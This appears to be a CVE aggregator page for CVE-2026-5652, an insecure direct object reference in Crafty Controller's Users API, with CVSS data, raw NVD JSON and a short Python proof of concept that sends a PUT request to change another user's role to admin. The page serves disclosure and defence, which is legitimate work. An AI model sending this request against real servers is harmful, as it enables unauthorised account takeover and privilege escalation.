Security Vulnerability Report
中文
CVE-2026-5652 CVSS 9.0 CRITICAL

CVE-2026-5652

Published: 2026-04-21 17:16:58
Last Modified: 2026-04-27 19:47:09

Description

An insecure direct object reference vulnerability in the Users API component of Crafty Controller allows a remote, authenticated attacker to perform user modification actions via improper API permissions validation.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:craftycontrol:crafty_controller:*:*:*:*:*:*:*:* - VULNERABLE
Crafty Controller 4.x (具体版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://target-host/api/v2/users/2" # Assuming ID 2 is the target user # Attacker's cookie (High privilege session) cookies = { "crafty_session": "attacker_high_privilege_cookie_value" } # Payload to modify user role or details payload = { "username": "admin_modified", "role": "admin", "enabled": True } # Sending the request response = requests.put(url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! User modified.") print("[+] Response:", response.text) else: print("[-] Exploit failed.") print("[-] Status Code:", response.status_code)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5652", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:57.793", "lastModified": "2026-04-27T19:47:08.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insecure direct object reference vulnerability in the Users API component of Crafty Controller allows a remote, authenticated attacker to perform user modification actions via improper API permissions validation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craftycontrol:crafty_controller:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.10.4", "matchCriteriaId": "9AF622FA-E870-4D51-AB37-004E3574004C"}]}]}], "references": [{"url": "https://gitlab.com/crafty-controller/crafty-4/-/work_items/705", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://gitlab.com/crafty-controller/crafty-4/-/work_items/705", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}